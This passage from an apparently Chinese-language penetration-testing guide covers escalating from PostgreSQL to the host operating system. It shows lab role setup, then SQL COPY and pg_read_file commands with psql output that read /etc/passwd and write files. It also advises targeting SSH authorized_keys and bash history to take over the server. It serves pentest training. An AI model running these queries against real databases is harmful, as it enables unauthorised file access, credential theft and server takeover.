          inet6 addr: fe80::a00:27ff:fe34:bff6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1970 errors:0 dropped:0 overruns:0 frame:0
          TX packets:354 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:135643 (135.6 KB)  TX bytes:60155 (60.1 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:152 errors:0 dropped:0 overruns:0 frame:0
          TX packets:152 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:79825 (79.8 KB)  TX bytes:79825 (79.8 KB)

virbr0    Link encap:Ethernet  HWaddr 4e:99:b8:8a:3c:c4
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

7.3 数据库和操作系统提升权限

使用 pg_read_server_filespg_write_server_files 或“超级用户”权限、读取和写入操作系统文件.

尝试读取和写入、修改有趣的文件,如配置文件、脚本、日志(例如 “/home/<用户>/.bash_history”),以及 SSH 密钥(例如“/home/<用户>/.ssh/authorized_keys”)等,这些文件将允许你接管托管 PostgreSQL 数据库的 Linux 或 Windows 服务器。

7.3.1 Set up the environments

1
2
3
4
create role pentester nosuperuser login nocreatedb nocreaterole Password 'Password1';
create role auditor nosuperuser login nocreatedb nocreaterole Password 'Password1';
grant pg_write_server_files to pentester;
grant pg_read_server_files to auditor;

Then use the command “\\du” to see the users and roles.

7.3.2 Manual exploit

  • SQL queries to read files from the system

    • CREATE TABLE myfile (input TEXT);
    • COPY myfile FROM ‘/etc/passwd’;
    • SELECT input FROM myfile;
  • SQL queries to write files in /tmp

    • CREATE TABLE testfile (output TEXT);
    • INSERT INTO testfile(output) VALUES (‘test’);
    • COPY testfile(output) TO ‘/tmp/testfile’;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
postgres=# SHOW  data_directory;
        data_directory
------------------------------
 /var/lib/postgresql/9.3/main
(1 row)


postgres=# select pg_ls_dir('./');
    pg_ls_dir
-----------------
 PG_VERSION
 pg_notify
 pg_multixact
 pg_subtrans
 pg_serial
 pg_snapshots
 pg_stat
 pg_clog
 pg_xlog
 base
 pg_twophase
 pg_tblspc
 global
 pg_stat_tmp
 postmaster.opts
 postmaster.pid
(16 rows)


postgres=# select pg_read_file('PG_VERSION');
 pg_read_file
--------------
 9.3         +

(1 row)

postgres=# select pg_read_file('/etc/passwd');
           ERROR: absolute path not allowed


postgres=# create table docs (data TEXT);
           CREATE TABLE

postgres=# copy docs from '/etc/passwd';
           COPY 52

postgres=# select * from docs limit 10;
           data
           ---------------------------------------------------
           admin:x:1001:1001:,,,:/home/admin:/bin/bash
           avahi:x:112:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
           backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
           <SNIP>

postgres=# drop table docs;
           DROP TABLE

7.3.3 Metasploit - ‘postgres_readfile’ module